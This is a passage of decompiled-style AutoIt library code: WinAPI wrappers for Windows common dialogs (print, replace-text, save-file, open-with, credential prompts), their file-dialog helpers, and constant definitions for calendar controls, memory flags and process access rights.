FUNC _WINAPI_PICKICONDLG ($SICON = "" , $IINDEX = 0 , $HPARENT = 0 )
LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "PickIconDlg" , "hwnd" , $HPARENT , "wstr" , $SICON , "int" , 4096 , "int*" , $IINDEX )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ARESULT [2 ]
LOCAL $ARES = DLLCALL ("kernel32.dll" , "dword" , "ExpandEnvironmentStringsW" , "wstr" , $ARET [2 ] , "wstr" , "" , "dword" , 4096 )
$ARESULT [0 ] = $ARES [2 ]
$ARESULT [1 ] = $ARET [4 ]
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_PRINTDLG (BYREF $TPRINTDLG )
LOCAL $ARET = DLLCALL ("comdlg32.dll" , "long" , "PrintDlgW" , "struct*" , $TPRINTDLG )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , _WINAPI_COMMDLGEXTENDEDERROREX () , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PRINTDLGEX (BYREF $TPRINTDLGEX )
LOCAL $TPDEX = DLLSTRUCTCREATE ($TAGPRINTDLGEX , DLLSTRUCTGETPTR ($TPRINTDLGEX ) )
LOCAL $ARET = DLLCALL ("comdlg32.dll" , "long" , "PrintDlgExW" , "struct*" , $TPDEX )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN SETEXTENDED (DLLSTRUCTGETDATA ($TPDEX , "ResultAction" ) , 1 )
ENDFUNC
FUNC _WINAPI_REPLACETEXTDLG ($HOWNER , $SFINDWHAT = "" , $SREPLACEWITH = "" , $IFLAGS = 0 , $PREPLACEPROC = 0 , $LPARAM = 0 )
$__G_PFRBUFFER = __HEAPREALLOC ($__G_PFRBUFFER , 4 * $__G_IFRBUFFERSIZE )
IF @ERROR THEN RETURN SETERROR (@ERROR + 100 , @EXTENDED , 0 )
LOCAL $TBUFF = DLLSTRUCTCREATE ("wchar[" & $__G_IFRBUFFERSIZE & "];wchar[" & $__G_IFRBUFFERSIZE & "]" , $__G_PFRBUFFER )
DLLSTRUCTSETDATA ($TBUFF , 1 , STRINGLEFT ($SFINDWHAT , $__G_IFRBUFFERSIZE + 4294967295 ) )
DLLSTRUCTSETDATA ($TBUFF , 2 , STRINGLEFT ($SREPLACEWITH , $__G_IFRBUFFERSIZE + 4294967295 ) )
LOCAL $TFR = DLLSTRUCTCREATE ($TAGFINDREPLACE )
DLLSTRUCTSETDATA ($TFR , "Size" , DLLSTRUCTGETSIZE ($TFR ) )
DLLSTRUCTSETDATA ($TFR , "hOwner" , $HOWNER )
DLLSTRUCTSETDATA ($TFR , "hInstance" , 0 )
DLLSTRUCTSETDATA ($TFR , "Flags" , $IFLAGS )
DLLSTRUCTSETDATA ($TFR , "FindWhat" , DLLSTRUCTGETPTR ($TBUFF , 1 ) )
DLLSTRUCTSETDATA ($TFR , "ReplaceWith" , DLLSTRUCTGETPTR ($TBUFF , 2 ) )
DLLSTRUCTSETDATA ($TFR , "FindWhatLen" , $__G_IFRBUFFERSIZE * 2 )
DLLSTRUCTSETDATA ($TFR , "ReplaceWithLen" , $__G_IFRBUFFERSIZE * 2 )
DLLSTRUCTSETDATA ($TFR , "lParam" , $LPARAM )
DLLSTRUCTSETDATA ($TFR , "Hook" , $PREPLACEPROC )
DLLSTRUCTSETDATA ($TFR , "TemplateName" , 0 )
LOCAL $ARET = DLLCALL ("comdlg32.dll" , "hwnd" , "ReplaceTextW" , "struct*" , $TFR )
IF @ERROR OR NOT $ARET [0 ] THEN
LOCAL $IERROR = @ERROR
__HEAPFREE ($__G_PFRBUFFER )
IF ISARRAY ($ARET ) THEN
RETURN SETERROR (10 , _WINAPI_COMMDLGEXTENDEDERROREX () , 0 )
ELSE
RETURN SETERROR ($IERROR , 0 , 0 )
ENDIF
ENDIF
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_RESTARTDLG ($STEXT = "" , $IFLAGS = 2 , $HPARENT = 0 )
LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "RestartDialog" , "hwnd" , $HPARENT , "wstr" , $STEXT , "int" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SAVEFILEDLG ($STITLE = "" , $SINITDIR = "" , $SFILTERS = "" , $IDEFAULTFILTER = 0 , $SDEFAULTFILEPATH = "" , $SDEFAULTEXT = "" , $IFLAGS = 0 , $IFLAGSEX = 0 , $POFNPROC = 0 , $PDATA = 0 , $HPARENT = 0 )
LOCAL $SRESULT = __OFNDLG (1 , $STITLE , $SINITDIR , $SFILTERS , $IDEFAULTFILTER , $SDEFAULTFILEPATH , $SDEFAULTEXT , $IFLAGS , $IFLAGSEX , $POFNPROC , $PDATA , $HPARENT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $SRESULT
ENDFUNC
FUNC _WINAPI_SETFRBUFFER ($ICHARS )
$ICHARS = NUMBER ($ICHARS )
IF $ICHARS < 80 THEN
$ICHARS = 80
ENDIF
$__G_IFRBUFFERSIZE = $ICHARS + 1
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLABOUTDLG ($STITLE , $SNAME , $STEXT , $HICON = 0 , $HPARENT = 0 )
LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "ShellAboutW" , "hwnd" , $HPARENT , "wstr" , $STITLE & "#" & $SNAME , "wstr" , $STEXT , "handle" , $HICON )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SHELLOPENWITHDLG ($SFILEPATH , $IFLAGS = 0 , $HPARENT = 0 )
LOCAL $TOPENASINFO = DLLSTRUCTCREATE ("ptr;ptr;dword;wchar[" & (STRINGLEN ($SFILEPATH ) + 1 ) & "]" )
DLLSTRUCTSETDATA ($TOPENASINFO , 1 , DLLSTRUCTGETPTR ($TOPENASINFO , 4 ) )
DLLSTRUCTSETDATA ($TOPENASINFO , 2 , 0 )
DLLSTRUCTSETDATA ($TOPENASINFO , 3 , $IFLAGS )
DLLSTRUCTSETDATA ($TOPENASINFO , 4 , $SFILEPATH )
LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHOpenWithDialog" , "hwnd" , $HPARENT , "struct*" , $TOPENASINFO )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLSTARTNETCONNECTIONDLG ($SREMOTE = "" , $IFLAGS = 0 , $HPARENT = 0 )
LOCAL $STYPEOFREMOTE = "wstr"
IF NOT STRINGSTRIPWS ($SREMOTE , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN
$STYPEOFREMOTE = "ptr"
$SREMOTE = 0
ENDIF
DLLCALL ("shell32.dll" , "long" , "SHStartNetConnectionDialogW" , "hwnd" , $HPARENT , $STYPEOFREMOTE , $SREMOTE , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_SHELLUSERAUTHENTICATIONDLG ($SCAPTION , $SMESSAGE , $SUSER , $SPASSWORD , $STARGET , $IFLAGS = 0 , $IERROR = 0 , $BSAVE = FALSE , $HBITMAP = 0 , $HPARENT = 0 )
IF NOT __DLL ("credui.dll" ) THEN RETURN SETERROR (103 , 0 , 0 )
LOCAL $TINFO = DLLSTRUCTCREATE ("dword;hwnd;ptr;ptr;ptr;wchar[" & (STRINGLEN ($SMESSAGE ) + 1 ) & "];wchar[" & (STRINGLEN ($SCAPTION ) + 1 ) & "]" )
DLLSTRUCTSETDATA ($TINFO , 1 , DLLSTRUCTGETPTR ($TINFO , 6 ) - DLLSTRUCTGETPTR ($TINFO ) )
DLLSTRUCTSETDATA ($TINFO , 2 , $HPARENT )
DLLSTRUCTSETDATA ($TINFO , 3 , DLLSTRUCTGETPTR ($TINFO , 6 ) )
DLLSTRUCTSETDATA ($TINFO , 4 , DLLSTRUCTGETPTR ($TINFO , 7 ) )
DLLSTRUCTSETDATA ($TINFO , 5 , $HBITMAP )
DLLSTRUCTSETDATA ($TINFO , 6 , $SMESSAGE )
DLLSTRUCTSETDATA ($TINFO , 7 , $SCAPTION )
LOCAL $ARET = DLLCALL ("credui.dll" , "dword" , "CredUIPromptForCredentialsW" , "struct*" , $TINFO , "wstr" , $STARGET , "ptr" , 0 , "dword" , $IERROR , "wstr" , $SUSER , "ulong" , 4096 , "wstr" , $SPASSWORD , "ulong" , 4096 , "bool*" , $BSAVE , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
LOCAL $ARESULT [3 ]
$ARESULT [0 ] = $ARET [5 ]
$ARESULT [1 ] = $ARET [7 ]
$ARESULT [2 ] = $ARET [9 ]
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_SHELLUSERAUTHENTICATIONDLGEX ($SCAPTION , $SMESSAGE , $SUSER , $SPASSWORD , $IFLAGS = 0 , $IAUTHERROR = 0 , $BSAVE = FALSE , $IPACKAGE = 0 , $HPARENT = 0 )
IF NOT __DLL ("credui.dll" ) THEN RETURN SETERROR (103 , 0 , 0 )
LOCAL $TBLOB = 0 , $ARET
IF STRINGLEN ($SUSER ) THEN
$ARET = DLLCALL ("credui.dll" , "bool" , "CredPackAuthenticationBufferW" , "dword" , 1 , "wstr" , $SUSER , "wstr" , $SPASSWORD , "ptr" , 0 , "dword*" , 0 )
IF @ERROR OR NOT $ARET [5 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
$TBLOB = DLLSTRUCTCREATE ("byte[" & $ARET [5 ] & "]" )
$ARET = DLLCALL ("credui.dll" , "bool" , "CredPackAuthenticationBufferW" , "dword" , 1 , "wstr" , $SUSER , "wstr" , $SPASSWORD , "struct*" , $TBLOB , "dword*" , $ARET [5 ] )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 )
ENDIF
LOCAL $TINFO = DLLSTRUCTCREATE ("dword;hwnd;ptr;ptr;ptr;wchar[" & (STRINGLEN ($SMESSAGE ) + 1 ) & "];wchar[" & (STRINGLEN ($SCAPTION ) + 1 ) & "]" )
DLLSTRUCTSETDATA ($TINFO , 1 , DLLSTRUCTGETPTR ($TINFO , 6 ) - DLLSTRUCTGETPTR ($TINFO ) )
DLLSTRUCTSETDATA ($TINFO , 2 , $HPARENT )
DLLSTRUCTSETDATA ($TINFO , 3 , DLLSTRUCTGETPTR ($TINFO , 6 ) )
DLLSTRUCTSETDATA ($TINFO , 4 , DLLSTRUCTGETPTR ($TINFO , 7 ) )
DLLSTRUCTSETDATA ($TINFO , 5 , 0 )
DLLSTRUCTSETDATA ($TINFO , 6 , $SMESSAGE )
DLLSTRUCTSETDATA ($TINFO , 7 , $SCAPTION )
$ARET = DLLCALL ("credui.dll" , "dword" , "CredUIPromptForWindowsCredentialsW" , "struct*" , $TINFO , "dword" , $IAUTHERROR , "ulong*" , $IPACKAGE , "struct*" , $TBLOB , "ulong" , DLLSTRUCTGETSIZE ($TBLOB ) , "ptr*" , 0 , "ulong*" , 0 , "bool*" , $BSAVE , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR + 30 , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (30 , $ARET [0 ] , 0 )
LOCAL $ARESULT [4 ] , $IERROR = 0
$ARESULT [2 ] = $ARET [8 ]
$ARESULT [3 ] = $ARET [3 ]
LOCAL $PBLOB = $ARET [6 ]
LOCAL $ISIZE = $ARET [7 ]
$ARET = DLLCALL ("credui.dll" , "bool" , "CredUnPackAuthenticationBufferW" , "dword" , 1 , "ptr" , $PBLOB , "dword" , $ISIZE , "wstr" , "" , "dword*" , 4096 , "wstr" , "" , "dword*" , 4096 , "wstr" , "" , "dword*" , 4096 )
IF NOT @ERROR AND $ARET [0 ] THEN
$ARESULT [0 ] = $ARET [4 ]
$ARESULT [1 ] = $ARET [8 ]
ELSE
$IERROR = @ERROR + 40
ENDIF
IF NOT _WINAPI_ZEROMEMORY ($PBLOB , $ISIZE ) THEN
ENDIF
_WINAPI_COTASKMEMFREE ($PBLOB )
IF $IERROR THEN RETURN SETERROR ($IERROR , 0 , 0 )
RETURN $ARESULT
ENDFUNC
#EndRegion Public Functions
#Region Internal Functions
FUNC __OFNDLG ($IDLG , $STITLE , $SINITDIR , $SFILTERS , $IDEFFILTER , $SDEFFILE , $SDEFEXT , $IFLAGS , $IFLAGSEX , $POFNPROC , $PDATA , $HPARENT )
LOCAL $TBUFFER = DLLSTRUCTCREATE ("wchar[32768]" )
LOCAL $TFILTERS = 0 , $TDEFEXT = 0 , $TINITDIR = 0 , $TTITLE = 0
LOCAL $TOFN = DLLSTRUCTCREATE ($TAGOPENFILENAME )
DLLSTRUCTSETDATA ($TOFN , "StructSize" , DLLSTRUCTGETSIZE ($TOFN ) )
DLLSTRUCTSETDATA ($TOFN , "hwndOwner" , $HPARENT )
DLLSTRUCTSETDATA ($TOFN , 3 , 0 )
LOCAL $ADATA = STRINGSPLIT ($SFILTERS , "|" )
LOCAL $AFILTERS [$ADATA [0 ] * 2 ]
LOCAL $ICOUNT = 0
FOR $I = 1 TO $ADATA [0 ]
$AFILTERS [$ICOUNT + 0 ] = STRINGSTRIPWS ($ADATA [$I ] , $STR_STRIPLEADING + $STR_STRIPTRAILING )
$AFILTERS [$ICOUNT + 1 ] = STRINGSTRIPWS (STRINGREGEXPREPLACE ($ADATA [$I ] , ".*\((.*)\)" , "\1" ) , $STR_STRIPALL )
IF $AFILTERS [$ICOUNT + 1 ] THEN
$ICOUNT += 2
ENDIF
NEXT
IF $ICOUNT THEN
$TFILTERS = _WINAPI_ARRAYTOSTRUCT ($AFILTERS , 0 , $ICOUNT + 4294967295 )
IF @ERROR THEN
ENDIF
ENDIF
DLLSTRUCTSETDATA ($TOFN , "lpstrFilter" , DLLSTRUCTGETPTR ($TFILTERS ) )
DLLSTRUCTSETDATA ($TOFN , 5 , 0 )
DLLSTRUCTSETDATA ($TOFN , 6 , 0 )
DLLSTRUCTSETDATA ($TOFN , "nFilterIndex" , $IDEFFILTER )
$SDEFFILE = STRINGSTRIPWS ($SDEFFILE , $STR_STRIPLEADING + $STR_STRIPTRAILING )
IF $SDEFFILE THEN
DLLSTRUCTSETDATA ($TBUFFER , 1 , $SDEFFILE )
ENDIF
DLLSTRUCTSETDATA ($TOFN , "lpstrFile" , DLLSTRUCTGETPTR ($TBUFFER ) )
DLLSTRUCTSETDATA ($TOFN , "nMaxFile" , 32768 )
DLLSTRUCTSETDATA ($TOFN , 10 , 0 )
DLLSTRUCTSETDATA ($TOFN , 11 , 0 )
$SINITDIR = STRINGSTRIPWS ($SINITDIR , $STR_STRIPLEADING + $STR_STRIPTRAILING )
IF $SINITDIR THEN
$TINITDIR = DLLSTRUCTCREATE ("wchar[" & (STRINGLEN ($SINITDIR ) + 1 ) & "]" )
ENDIF
DLLSTRUCTSETDATA ($TINITDIR , 1 , $SINITDIR )
DLLSTRUCTSETDATA ($TOFN , "lpstrInitialDir" , DLLSTRUCTGETPTR ($TINITDIR ) )
$STITLE = STRINGSTRIPWS ($STITLE , $STR_STRIPLEADING + $STR_STRIPTRAILING )
IF $STITLE THEN
$TTITLE = DLLSTRUCTCREATE ("wchar[" & (STRINGLEN ($STITLE ) + 1 ) & "]" )
ENDIF
DLLSTRUCTSETDATA ($TTITLE , 1 , $STITLE )
DLLSTRUCTSETDATA ($TOFN , "lpstrTitle" , DLLSTRUCTGETPTR ($TTITLE ) )
DLLSTRUCTSETDATA ($TOFN , "Flags" , $IFLAGS )
DLLSTRUCTSETDATA ($TOFN , 15 , 0 )
DLLSTRUCTSETDATA ($TOFN , 16 , 0 )
$SDEFEXT = STRINGSTRIPWS ($SDEFEXT , $STR_STRIPLEADING + $STR_STRIPTRAILING )
IF $SDEFEXT THEN
$TDEFEXT = DLLSTRUCTCREATE ("wchar[" & (STRINGLEN ($TDEFEXT ) + 1 ) & "]" )
ENDIF
DLLSTRUCTSETDATA ($TDEFEXT , 1 , STRINGREPLACE ($SDEFEXT , "." , "" ) )
DLLSTRUCTSETDATA ($TOFN , "lpstrDefExt" , DLLSTRUCTGETPTR ($TDEFEXT ) )
DLLSTRUCTSETDATA ($TOFN , "lCustData" , $PDATA )
DLLSTRUCTSETDATA ($TOFN , "lpfnHook" , $POFNPROC )
DLLSTRUCTSETDATA ($TOFN , 20 , 0 )
DLLSTRUCTSETDATA ($TOFN , 21 , 0 )
DLLSTRUCTSETDATA ($TOFN , 22 , 0 )
DLLSTRUCTSETDATA ($TOFN , "FlagsEx" , $IFLAGSEX )
LOCAL $ARET
SWITCH $IDLG
CASE 0
$ARET = DLLCALL ("comdlg32.dll" , "bool" , "GetOpenFileNameW" , "struct*" , $TOFN )
CASE 1
$ARET = DLLCALL ("comdlg32.dll" , "bool" , "GetSaveFileNameW" , "struct*" , $TOFN )
CASE ELSE
ENDSWITCH
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , _WINAPI_COMMDLGEXTENDEDERROREX () , "" )
IF BITAND ($IFLAGS , $OFN_ALLOWMULTISELECT ) THEN
IF BITAND ($IFLAGS , $OFN_EXPLORER ) THEN
$ADATA = _WINAPI_STRUCTTOARRAY ($TBUFFER )
IF @ERROR THEN
RETURN SETERROR (11 , 0 , "" )
ENDIF
ELSE
$ADATA = STRINGSPLIT (DLLSTRUCTGETDATA ($TBUFFER , 1 ) , " " )
ENDIF
SWITCH $ADATA [0 ]
CASE 0
RETURN SETERROR (12 , 0 , "" )
CASE 1
CASE ELSE
LOCAL $SPATH = $ADATA [1 ]
FOR $I = 2 TO $ADATA [0 ]
$ADATA [$I + 4294967295 ] = _WINAPI_PATHAPPEND ($SPATH , $ADATA [$I ] )
NEXT
REDIM $ADATA [$ADATA [0 ] ]
$ADATA [0 ] -= 1
ENDSWITCH
ELSE
$ADATA = DLLSTRUCTGETDATA ($TBUFFER , 1 )
ENDIF
$__G_VEXT = $TOFN
RETURN $ADATA
ENDFUNC
FUNC __WINAPI_PARSEMULTISELECTFILEDIALOGPATH ($APATH )
LOCAL $AFILES [UBOUND ($APATH ) + 1 ]
$AFILES [0 ] = UBOUND ($APATH )
$AFILES [1 ] = STRINGMID ($APATH [1 ] , 1 , STRINGINSTR ($APATH [1 ] , "\" , $STR_NOCASESENSEBASIC , + 4294967295 ) + 4294967295 )
FOR $I = 1 TO UBOUND ($APATH ) + 4294967295
$AFILES [$I + 1 ] = STRINGMID ($APATH [$I ] , STRINGINSTR ($APATH [$I ] , "\" , $STR_NOCASESENSEBASIC , + 4294967295 ) + 1 )
NEXT
RETURN $AFILES
ENDFUNC
FUNC __WINAPI_PARSEFILEDIALOGPATH ($SPATH )
LOCAL $AFILES [3 ]
$AFILES [0 ] = 2
$AFILES [1 ] = STRINGMID ($SPATH , 1 , STRINGINSTR ($SPATH , "\" , $STR_NOCASESENSEBASIC , + 4294967295 ) + 4294967295 )
$AFILES [2 ] = STRINGMID ($SPATH , STRINGINSTR ($SPATH , "\" , $STR_NOCASESENSEBASIC , + 4294967295 ) + 1 )
RETURN $AFILES
ENDFUNC
#EndRegion Internal Functions
GLOBAL CONST $DTS_SHORTDATEFORMAT = 0
GLOBAL CONST $DTS_UPDOWN = 1
GLOBAL CONST $DTS_SHOWNONE = 2
GLOBAL CONST $DTS_LONGDATEFORMAT = 4
GLOBAL CONST $DTS_TIMEFORMAT = 9
GLOBAL CONST $DTS_RIGHTALIGN = 32
GLOBAL CONST $DTS_SHORTDATECENTURYFORMAT = 12
GLOBAL CONST $DTS_APPCANPARSE = 16
GLOBAL CONST $DMW_LONGNAME = 0
GLOBAL CONST $DMW_SHORTNAME = 1
GLOBAL CONST $DMW_LOCALE_LONGNAME = 2
GLOBAL CONST $DMW_LOCALE_SHORTNAME = 3
GLOBAL CONST $GDT_ERROR = + 4294967295
GLOBAL CONST $GDT_VALID = 0
GLOBAL CONST $GDT_NONE = 1
GLOBAL CONST $GDTR_MIN = 1
GLOBAL CONST $GDTR_MAX = 2
GLOBAL CONST $MCHT_NOWHERE = 0
GLOBAL CONST $MCHT_TITLE = 65536
GLOBAL CONST $MCHT_CALENDAR = 131072
GLOBAL CONST $MCHT_TODAYLINK = 196608
GLOBAL CONST $MCHT_NEXT = 16777216
GLOBAL CONST $MCHT_PREV = 33554432
GLOBAL CONST $MCHT_TITLEBK = 65536
GLOBAL CONST $MCHT_TITLEMONTH = 65537
GLOBAL CONST $MCHT_TITLEYEAR = 65538
GLOBAL CONST $MCHT_TITLEBTNNEXT = 16842755
GLOBAL CONST $MCHT_TITLEBTNPREV = 33619971
GLOBAL CONST $MCHT_CALENDARBK = 131072
GLOBAL CONST $MCHT_CALENDARDATE = 131073
GLOBAL CONST $MCHT_CALENDARDAY = 131074
GLOBAL CONST $MCHT_CALENDARWEEKNUM = 131075
GLOBAL CONST $MCHT_CALENDARDATENEXT = 16908288
GLOBAL CONST $MCHT_CALENDARDATEPREV = 33685504
GLOBAL CONST $MCS_DAYSTATE = 1
GLOBAL CONST $MCS_MULTISELECT = 2
GLOBAL CONST $MCS_WEEKNUMBERS = 4
GLOBAL CONST $MCS_NOTODAYCIRCLE = 8
GLOBAL CONST $MCS_NOTODAY = 16
GLOBAL CONST $MCS_NOTRAILINGDATES = 64
GLOBAL CONST $MCS_SHORTDAYSOFWEEK = 128
GLOBAL CONST $MCS_NOSELCHANGEONNAV = 256
GLOBAL CONST $MCM_FIRST = 4096
GLOBAL CONST $MCM_GETCALENDARBORDER = ($MCM_FIRST + 31 )
GLOBAL CONST $MCM_GETCALENDARCOUNT = ($MCM_FIRST + 23 )
GLOBAL CONST $MCM_GETCALENDARGRIDINFO = ($MCM_FIRST + 24 )
GLOBAL CONST $MCM_GETCALID = ($MCM_FIRST + 27 )
GLOBAL CONST $MCM_GETCOLOR = ($MCM_FIRST + 11 )
GLOBAL CONST $MCM_GETCURRENTVIEW = ($MCM_FIRST + 22 )
GLOBAL CONST $MCM_GETCURSEL = ($MCM_FIRST + 1 )
GLOBAL CONST $MCM_GETFIRSTDAYOFWEEK = ($MCM_FIRST + 16 )
GLOBAL CONST $MCM_GETMAXSELCOUNT = ($MCM_FIRST + 3 )
GLOBAL CONST $MCM_GETMAXTODAYWIDTH = ($MCM_FIRST + 21 )
GLOBAL CONST $MCM_GETMINREQRECT = ($MCM_FIRST + 9 )
GLOBAL CONST $MCM_GETMONTHDELTA = ($MCM_FIRST + 19 )
GLOBAL CONST $MCM_GETMONTHRANGE = ($MCM_FIRST + 7 )
GLOBAL CONST $MCM_GETRANGE = ($MCM_FIRST + 17 )
GLOBAL CONST $MCM_GETSELRANGE = ($MCM_FIRST + 5 )
GLOBAL CONST $MCM_GETTODAY = ($MCM_FIRST + 13 )
GLOBAL CONST $MCM_GETUNICODEFORMAT = 8192 + 6
GLOBAL CONST $MCM_HITTEST = ($MCM_FIRST + 14 )
GLOBAL CONST $MCM_SETCALENDARBORDER = ($MCM_FIRST + 30 )
GLOBAL CONST $MCM_SETCALID = ($MCM_FIRST + 28 )
GLOBAL CONST $MCM_SETCOLOR = ($MCM_FIRST + 10 )
GLOBAL CONST $MCM_SETCURRENTVIEW = ($MCM_FIRST + 32 )
GLOBAL CONST $MCM_SETCURSEL = ($MCM_FIRST + 2 )
GLOBAL CONST $MCM_SETDAYSTATE = ($MCM_FIRST + 8 )
GLOBAL CONST $MCM_SETFIRSTDAYOFWEEK = ($MCM_FIRST + 15 )
GLOBAL CONST $MCM_SETMAXSELCOUNT = ($MCM_FIRST + 4 )
GLOBAL CONST $MCM_SETMONTHDELTA = ($MCM_FIRST + 20 )
GLOBAL CONST $MCM_SETRANGE = ($MCM_FIRST + 18 )
GLOBAL CONST $MCM_SETSELRANGE = ($MCM_FIRST + 6 )
GLOBAL CONST $MCM_SETTODAY = ($MCM_FIRST + 12 )
GLOBAL CONST $MCM_SETUNICODEFORMAT = 8192 + 5
GLOBAL CONST $MCM_SIZERECTTOMIN = ($MCM_FIRST + 29 )
GLOBAL CONST $MCN_FIRST = + 4294966550
GLOBAL CONST $MCN_SELCHANGE = ($MCN_FIRST + 4294967293 )
GLOBAL CONST $MCN_GETDAYSTATE = ($MCN_FIRST + 4294967295 )
GLOBAL CONST $MCN_SELECT = ($MCN_FIRST )
GLOBAL CONST $MCN_VIEWCHANGE = ($MCN_FIRST + 4294967292 )
GLOBAL CONST $MCSC_BACKGROUND = 0
GLOBAL CONST $MCSC_MONTHBK = 4
GLOBAL CONST $MCSC_TEXT = 1
GLOBAL CONST $MCSC_TITLEBK = 2
GLOBAL CONST $MCSC_TITLETEXT = 3
GLOBAL CONST $MCSC_TRAILINGTEXT = 5
GLOBAL CONST $DTM_FIRST = 4096
GLOBAL CONST $DTM_GETSYSTEMTIME = $DTM_FIRST + 1
GLOBAL CONST $DTM_SETSYSTEMTIME = $DTM_FIRST + 2
GLOBAL CONST $DTM_GETRANGE = $DTM_FIRST + 3
GLOBAL CONST $DTM_SETRANGE = $DTM_FIRST + 4
GLOBAL CONST $DTM_SETFORMAT = $DTM_FIRST + 5
GLOBAL CONST $DTM_SETMCCOLOR = $DTM_FIRST + 6
GLOBAL CONST $DTM_GETMCCOLOR = $DTM_FIRST + 7
GLOBAL CONST $DTM_GETMONTHCAL = $DTM_FIRST + 8
GLOBAL CONST $DTM_SETMCFONT = $DTM_FIRST + 9
GLOBAL CONST $DTM_GETMCFONT = $DTM_FIRST + 10
GLOBAL CONST $DTM_SETFORMATW = $DTM_FIRST + 50
GLOBAL CONST $DTN_FIRST = + 4294966556
GLOBAL CONST $DTN_FIRST2 = + 4294966543
GLOBAL CONST $DTN_DATETIMECHANGE = $DTN_FIRST2 + 4294967290
GLOBAL CONST $DTN_USERSTRING = $DTN_FIRST2 + 4294967291
GLOBAL CONST $DTN_WMKEYDOWN = $DTN_FIRST2 + 4294967292
GLOBAL CONST $DTN_FORMAT = $DTN_FIRST2 + 4294967293
GLOBAL CONST $DTN_FORMATQUERY = $DTN_FIRST2 + 4294967294
GLOBAL CONST $DTN_DROPDOWN = $DTN_FIRST2 + 4294967295
GLOBAL CONST $DTN_CLOSEUP = $DTN_FIRST2 + 0
GLOBAL CONST $DTN_USERSTRINGW = $DTN_FIRST + 4294967291
GLOBAL CONST $DTN_WMKEYDOWNW = $DTN_FIRST + 4294967292
GLOBAL CONST $DTN_FORMATW = $DTN_FIRST + 4294967293
GLOBAL CONST $DTN_FORMATQUERYW = $DTN_FIRST + 4294967294
GLOBAL CONST $GUI_SS_DEFAULT_DATE = $DTS_LONGDATEFORMAT
GLOBAL CONST $GUI_SS_DEFAULT_MONTHCAL = 0
GLOBAL CONST $GMEM_FIXED = 0
GLOBAL CONST $GMEM_MOVEABLE = 2
GLOBAL CONST $GMEM_NOCOMPACT = 16
GLOBAL CONST $GMEM_NODISCARD = 32
GLOBAL CONST $GMEM_ZEROINIT = 64
GLOBAL CONST $GMEM_MODIFY = 128
GLOBAL CONST $GMEM_DISCARDABLE = 256
GLOBAL CONST $GMEM_NOT_BANKED = 4096
GLOBAL CONST $GMEM_SHARE = 8192
GLOBAL CONST $GMEM_DDESHARE = 8192
GLOBAL CONST $GMEM_NOTIFY = 16384
GLOBAL CONST $GMEM_LOWER = 4096
GLOBAL CONST $GMEM_VALID_FLAGS = 32626
GLOBAL CONST $GMEM_INVALID_HANDLE = 32768
GLOBAL CONST $GPTR = BITOR ($GMEM_FIXED , $GMEM_ZEROINIT )
GLOBAL CONST $GHND = BITOR ($GMEM_MOVEABLE , $GMEM_ZEROINIT )
GLOBAL CONST $MEM_COMMIT = 4096
GLOBAL CONST $MEM_RESERVE = 8192
GLOBAL CONST $MEM_TOP_DOWN = 1048576
GLOBAL CONST $MEM_SHARED = 134217728
GLOBAL CONST $PAGE_NOACCESS = 1
GLOBAL CONST $PAGE_READONLY = 2
GLOBAL CONST $PAGE_READWRITE = 4
GLOBAL CONST $PAGE_EXECUTE = 16
GLOBAL CONST $PAGE_EXECUTE_READ = 32
GLOBAL CONST $PAGE_EXECUTE_READWRITE = 64
GLOBAL CONST $PAGE_EXECUTE_WRITECOPY = 128
GLOBAL CONST $PAGE_GUARD = 256
GLOBAL CONST $PAGE_NOCACHE = 512
GLOBAL CONST $PAGE_WRITECOMBINE = 1024
GLOBAL CONST $PAGE_WRITECOPY = 8
GLOBAL CONST $MEM_DECOMMIT = 16384
GLOBAL CONST $MEM_RELEASE = 32768
GLOBAL ENUM $MEM_LOAD , $MEM_TOTALPHYSRAM , $MEM_AVAILPHYSRAM , $MEM_TOTALPAGEFILE , $MEM_AVAILPAGEFILE , $MEM_TOTALVIRTUAL , $MEM_AVAILVIRTUAL
GLOBAL CONST $PROCESS_TERMINATE = 1
GLOBAL CONST $PROCESS_CREATE_THREAD = 2
GLOBAL CONST $PROCESS_SET_SESSIONID = 4
GLOBAL CONST $PROCESS_VM_OPERATION = 8
GLOBAL CONST $PROCESS_VM_READ = 16
GLOBAL CONST $PROCESS_VM_WRITE = 32
GLOBAL CONST $PROCESS_DUP_HANDLE = 64
